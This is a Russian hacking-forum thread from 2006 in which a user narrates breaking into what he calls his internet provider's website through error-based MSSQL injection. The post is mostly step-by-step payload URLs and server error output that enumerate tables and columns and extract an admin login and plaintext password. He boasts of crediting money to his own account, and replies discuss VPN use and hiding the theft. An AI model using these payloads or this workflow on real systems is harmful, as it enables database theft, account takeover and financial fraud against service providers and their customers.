Авторские статьи MSSQL-injection

Discussion in 'Статьи' started by D1mOn, 26 Feb 2006.

  1. D1mOn

    D1mOn Elder - Старейшина

    Joined:
    2 Oct 2005
    Messages:
    382
    Likes Received:
    144
    Reputations:
    29
    Вступление

    Сидел я дома, скучно, решил поискать баги на сайте своего прова. Нашёл несколько бестолковых XSS но для прова довольно глупых, на странице входа в свой счёт в форме ввода пароля срабатывал простейший код алерта:
    Code:
    <script>alert()<script>
    Но XSS меня не интересовали. Моей целью было попасть в админку сайта, где можно было начилсять деньги на инет))
    Нашёл MSSQL-Injection, но так как я не особо в этом шарил прочитал статью, спросил на форуме (gadjet'y спасибо). И начал копать...

    Реализация MSSQL-инъекции


    Для начала мне надо было знать имена таблиц в базе данных, для этого выполним следующий запрос, который возвратит нам имя первой таблицы:
    Code:
    http://sait-prova.ru/?page_id=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--
    Этот запрос возвратил мне следующее:
    Code:
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'DAYS_SERV_ORD_PAY_BAL' to a column of data type smallint.
    
    /Shared/Functions/F2.asp, line 76
    DAYS_SERV_ORD_PAY_BAL - это и есть имя первой таблицы в базе данных.
    Далее чтобы узнать имя второй таблицы, выполняем следующий запрос:
    Code:
    http://sait-prova.ru/?page_id=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(''DAYS_SERV_ORD_PAY_BAL'))--
    После выполнения этого запроса, скрипт вернул мне следующее
    Code:
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'X_Count_Of_Jeo_Modems' to a column of data type smallint.
    
    /Shared/Functions/F2.asp, line 76
    Где, X_Count_Of_Jeo_Modems - как вы уже догадались, имя второй таблицы.
    Чтобы узнать имя третей таблицы выполняем следующий запрос
    Code:
    http://sait-prova.ru/?page_id=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(''DAYS_SERV_ORD_PAY_BAL','X_Count_Of_Jeo_Modems'))--
    В общем технология думаю ясна, для тех кто не понял, в скобки через запятую в кавычках нужно добавлять имя таблицы, которое возвращает скрипт.
    После того как я узнал имена где т 40 таблиц, и не нашёл нужной мне таблицы, решил попробовать следующий запрос:
    Code:
    http://sait-prova.ru/?page_id=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+LIKE+'%25login%25')--
    Этот запрос возвращает нам имя таблицы которая соответствует критерию login:
    Запрос вернул мне следующее:
    Code:
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'RAS_Accounts_AutoLogins' to a column of data type smallint.
    
    /Shared/Functions/F2.asp, line 76
    Но это было не то что мне нужно, я решил попробовать вместо login подставить admin, и тут мне повезло)
    Срипт возвратил мне следующее:
    Code:
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin' to a column of data type smallint.
    
    /Shared/Functions/F2.asp, line 76
    Далее мне нужно было узнать имена столбцов в таблице admin, для этого выполняем слудеющий запрос:
    Code:
    http://sait-prova.ru/?page_id=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='admin')--
    Вернуло мне:
    Code:
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Login' to a column of data type smallint.
    
    /Shared/Functions/F2.asp, line 76
    Чтобы узнать имя следующего столбца выполняем запрос:
    Code:
    http://sait-prova.ru/?page_id=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='admin'+AND+COLUMN_NAME+NOT+IN+('login'))--
    Скрипт вернул мне:
    Code:
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_password' to a column of data type smallint.
    
    /Shared/Functions/F2.asp, line 76
    Продолжая мы получим остальные имена столбцов, пока скрипт не вернёт следующую ошибку:
    Code:
    error '80020009'
    
    Exception occurred.
    
    /Shared/Functions/InterfaceFunctions.asp, line 86
    Теперь зная имена столбцов мы можем получить нужные нам данные.
    Выполним запрос который вернёт нам логин админа:
    Code:
    http://sait-prova.ru/?page_id=(SELECT+TOP+1+Login+FROM+admin)--
    Скрипт вернул следующее:
    Code:
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'MW-056417' to a column of data type smallint.
    
    /Shared/Functions/F2.asp, line 76
    Так логин есть, это - MW-056417
    Теперь узнаём пароль, запрос следующий:
    Code:
    (UNION+SELECT+TOP+1+admin_password+FROM+admin)--
    Скрипт возвращает:
    Code:
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'f1Ab7wxt2' to a column of data type smallint.
    
    /Shared/Functions/F2.asp, line 76
    Пароль в бд находился в чистом виде))

    Ну вот собственно и всё. Спасибо gadjet'y за помощь.
     
    #1 D1mOn, 26 Feb 2006
    Last edited: 26 Feb 2006
    12 people like this.
  2. tclover

    tclover nobody

    Joined:
    13 Dec 2005
    Messages:
    741
    Likes Received:
    682
    Reputations:
    287
    Денег то на счёт накинул? =)
    Молодца! Круть!
     
    #2 tclover, 26 Feb 2006
    Last edited: 26 Feb 2006
  3. D1mOn

    D1mOn Elder - Старейшина

    Joined:
    2 Oct 2005
    Messages:
    382
    Likes Received:
    144
    Reputations:
    29
    есессьно)))
     
    1 person likes this.
  4. ZaCo

    ZaCo Banned

    Joined:
    20 Jun 2005
    Messages:
    737
    Likes Received:
    336
    Reputations:
    215
    дурак ты нечего сказать.. ломать прова самое последнее дело... ты хоть впн юзал?
     
  5. D1mOn

    D1mOn Elder - Старейшина

    Joined:
    2 Oct 2005
    Messages:
    382
    Likes Received:
    144
    Reputations:
    29
    ZaCo, уж поверь о своей безопасности я позаботился)
     
    2 people like this.
  6. ArdeOS

    ArdeOS Elder - Старейшина

    Joined:
    16 Jul 2004
    Messages:
    137
    Likes Received:
    64
    Reputations:
    15
    Молодец конечно ... но если тебя на форуме не станет через день другой - то все читавшие эту тему будут знать что могло случится ...
     
  7. gadjet

    gadjet Elder - Старейшина

    Joined:
    17 Dec 2005
    Messages:
    58
    Likes Received:
    18
    Reputations:
    2
    Пожалуйста, я не жадный. Вот видишь, если разобраться, почитать, то все получится.
    Хорошая статья. Тока, если мне не изменяет память, я пробовал запрос WHERE+TABLE_NAME+LIKE+'%25admin%25' )-- , и ничего не вылезло... А может быть и нет, я, честно говоря, уже подзабыл.

    P.S
    Подкинули бы, что-ли, и к моей репе плюсиков, не зря же я ему помогал.
     
    10 people like this.
  8. D1mOn

    D1mOn Elder - Старейшина

    Joined:
    2 Oct 2005
    Messages:
    382
    Likes Received:
    144
    Reputations:
    29
    это правда)
     
    2 people like this.
  9. podkashey

    podkashey С крышкой по жизни!

    Joined:
    18 Jun 2005
    Messages:
    757
    Likes Received:
    351
    Reputations:
    353
    На сколько я знаю, последний запрос должен был бы быть селект пассворд вром админ вэа логин = админ_логин. Но все ранво забавно.
    P.s. Я бы на всякий случай еще человекам 10 подкинул лавэ, чтобы искать сложнее было. ;)
    P.P.S А почему не было юнионов в первых запросах? :)))
     
  10. D1mOn

    D1mOn Elder - Старейшина

    Joined:
    2 Oct 2005
    Messages:
    382
    Likes Received:
    144
    Reputations:
    29
    Деньги я подкинул только себе, и только один раз! больше не буду, и подумываю над тем, чтобы сообщит админам о дыре найденой!
     
  11. gadjet

    gadjet Elder - Старейшина

    Joined:
    17 Dec 2005
    Messages:
    58
    Likes Received:
    18
    Reputations:
    2
    to podkashey Потому шо там синтаксис такой, без юнионов работает
    to Dimon Ты забыл написать, что такого на самом деле никогда не происходило и что ты выдумал это только в познавательных целях ;)))))
     
    1 person likes this.
  12. D1mOn

    D1mOn Elder - Старейшина

    Joined:
    2 Oct 2005
    Messages:
    382
    Likes Received:
    144
    Reputations:
    29
    бла бла бла, раскусили))) но всё равно полезно новичкам)))
     
  13. gadjet

    gadjet Elder - Старейшина

    Joined:
    17 Dec 2005
    Messages:
    58
    Likes Received:
    18
    Reputations:
    2
    Собственно говоря, там до буя интересных таблиц, если поискать, то там можно нарыть много интересной информации.
     
    2 people like this.
Loading...